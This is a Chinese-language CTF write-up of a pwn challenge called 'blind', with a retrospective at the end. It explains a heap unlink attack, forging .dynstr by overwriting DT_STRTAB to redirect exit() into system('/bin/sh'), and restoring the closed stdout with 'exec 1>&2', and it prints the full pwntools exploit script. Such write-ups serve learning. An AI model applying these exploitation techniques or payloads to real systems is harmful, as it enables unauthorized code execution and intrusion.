PWN

blind

考察re2dl-resolve，感觉是个比较复杂的知识点，虽然在这题上并不难……但是一开始没注意到没有开启got表只读，所以就往复杂的方向去想了……再加上这一周比较摸鱼，最后拖了好几天才搞定

没想到重定位流程中居然是用函数名搜索的= =，因此可以直接修改DT_STRTAB使其指向我们伪造的.dynstr。然而由于经验不足，寻找哪一块内存可以用于写入花了不少时间……bss段不够，bss段后面的部分ida显示读写权限是未知，bss前面的部分也不知道哪里能改动。最后尝试了一下发现bss后面的部分是可写的

然后就是选择劫持哪个函数的问题了。要满足两个条件，是第一次调用并且参数可控，显然free不行了，而满足参数可控这一条件的函数乍看一下貌似也没了……但是仔细观察一下还是能发现玄机的

```
if ( v3 == 4 )
{
  printf("leave your favourite num:");
  v4 = read_int();
  exit(v4);
```

此处是另一个与namebook不同的地方，明显暗藏玄机233。v4是将我们输入的字符串数字转为数值类型，而这个数字也可以作为地址参数传入system。由于无法泄露堆地址，因此不能通过堆存/bin/sh，但是可以在伪造的dynstr后面附带一个，并且这个地址是已知的，所以可以直接将此地址传给v4。注意要先将十六进制地址转为十进制字符串输入

本来到这里应该就结束了……但是我到这时才发现blind的含义

```
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = read_int();
  if ( v1 > 9 || !names[v1] )
    return puts("invalid range");
  free(names[v1]);
  names[v1] = 0LL;
  puts("warning,dangerous operation,output will be closed!");
  return close(1);
```

百度一下才发现close（1）是关闭stdout的意思……因此一切输出都无法显示，就算getshell以后也一样，连ls都不行……此处需要我一点也不会的shell命令知识，通过Aris给的教学博客找到了解决方法

执行exec 1>&2重新恢复stdout后就可以cat flag了

exp：

from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] #cn=process('./blind') cn=remote('118.89.111.179',12332) ptr=0x6012C0 dynstr=0x6010A0 cn.recvuntil('exit\n') cn.sendline('1') cn.sendline('0') cn.sendline('a')

```
cn.sendline('1') cn.sendline('1') cn.sendline('b')

cn.sendline('1') cn.sendline('5') cn.sendline('/bin/sh')

cn.sendline('3') cn.sendline('0') pay1=p64(0)+p64(0x81)+p64(ptr-0x18)+p64(ptr-
0x10)+'a'*0x60+p64(0x80)+p64(0x90) cn.sendline(pay1)

#unlink cn.sendline('2') cn.sendline('1')

cn.sendline('3') cn.sendline('0') pay2=p64(0)+p64(0)+p64(0)+p64(dynstr) cn.sendline(pay2)

cn.sendline('3') cn.sendline('0') pay=p64(0x6012F0) cn.sendline(pay)

pay3='\x00'+'libc.so.6\x00system\x00/bin/sh\x00'

cn.sendline('1') cn.sendline('1') cn.sendline('a') cn.recvuntil('done.\n') cn.sendline('1') cn.sendline('2')
cn.sendline('2') cn.recvuntil('done.\n') cn.sendline('1') cn.sendline('3') cn.sendline('a') cn.recvuntil('done.\n')
cn.sendline('3') cn.sendline('2') pay1=p64(0)+p64(0x81)+p64(ptr-0x8)+p64(ptr)+'a'*0x60+p64(0x80)+p64(0x90)
cn.sendline(pay1) cn.sendline('2') cn.sendline('3')

cn.sendline('3') cn.sendline('2') pay2=p64(0)+p64(0)+p64(0)+p64(0x6012F0) cn.sendline(pay2)

cn.sendline('3') cn.sendline('2') cn.sendline(pay3)

cn.sendline('4') cn.sendline('6296322') cn.interactive()
```

结语

训练赛主要让我大致了解了bin方向具体是什么样的，刚起步时基本全天候面向百度学习，linux和pwntools还有ida的使用都从一脸懵逼到勉强会用（脚本还是写得不堪入目）。尽管日常连续做题十二小时，卡在各种地方渐渐自闭，但是cat flag的时候依然感觉爽到！这大概就是pwn4fun吧233。

在这个假期学到了很多，同时大量认识到了自己需要补足的地方。要想在二进制方向继续前行需要计算机科学领域全面而扎实的基础，显然我目前都没有233，但是困扰了我一个学期的转专业已经结束了，相信这学期开始，能够投入更多的时间精力与热情去提高自己。